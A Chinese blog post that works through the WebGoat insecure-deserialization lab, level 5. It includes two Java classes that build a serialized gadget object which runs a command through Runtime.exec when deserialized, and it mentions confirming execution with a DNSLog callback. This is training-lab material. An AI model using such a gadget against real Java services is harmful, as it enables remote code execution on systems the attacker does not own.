代码审计(Java)——WebGoat_InsecureDeserialization
level-5
找到java文件,可以看到传入的token经过64解码后输入导对象输入流中,然后没有加限制直接readObject进行了反序列化操作,确实存在漏洞点~
package org.owasp.webgoat.plugin; import java.io.*; import java.util.Base64; public class ExploitDeserialize { public static void main(String[] args) throws IOException{ GadgetObject goGadgetObject = new GadgetObject(); goGadgetObject.setCmd("sleep(6)"); ByteArrayOutputStream boStream = new ByteArrayOutputStream(); ObjectOutputStream ooStream = new ObjectOutputStream(boStream); ooStream.writeObject(goGadgetObject); ooStream.flush(); byte[] exp = boStream.toByteArray(); String b64token = Base64.getEncoder().encodeToString(exp); System.out.println(b64token); } }
package org.owasp.webgoat.plugin; import java.io.ObjectInputStream; import java.io.Serializable; public class GadgetObject implements Serializable { private String cmd; public void setCmd(String cmd) { this.cmd = cmd; } private void readObject( ObjectInputStream stream ) throws Exception { stream.defaultReadObject(); try{ Runtime r = Runtime.getRuntime(); Process p = r.exec(cmd); }catch (Exception e) { e.printStackTrace(); } } }
这里构造两个java文件,用来生成可以用的payload(因为反序列化这个东西,不同语言差别还是挺大的,就只能用残缺的java知识搞一个这个了……还是太菜了,java急需深造啊)
生成payload,让服务器等待5秒~
很奇怪的是没用行得通,很奇怪是那里搞错了,有可能是我写的java类有问题???我回头再去看一下……
这里开一个DNSLog来验证一下吧,不信这个邪~
果然,这里是可以访问到的,大概写的java也没有问题,但那是哪里出问题了嘞???真搞不懂,再研究研究,java水太深了……
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步
· TypeScript + Deepseek 打造卜卦网站:技术与玄学的结合
· 阿里巴巴 QwQ-32B真的超越了 DeepSeek R-1吗?
· 【译】Visual Studio 中新的强大生产力特性
· 【设计模式】告别冗长if-else语句:使用策略模式优化代码结构
· 10年+ .NET Coder 心语 ── 封装的思维:从隐藏、稳定开始理解其本质意义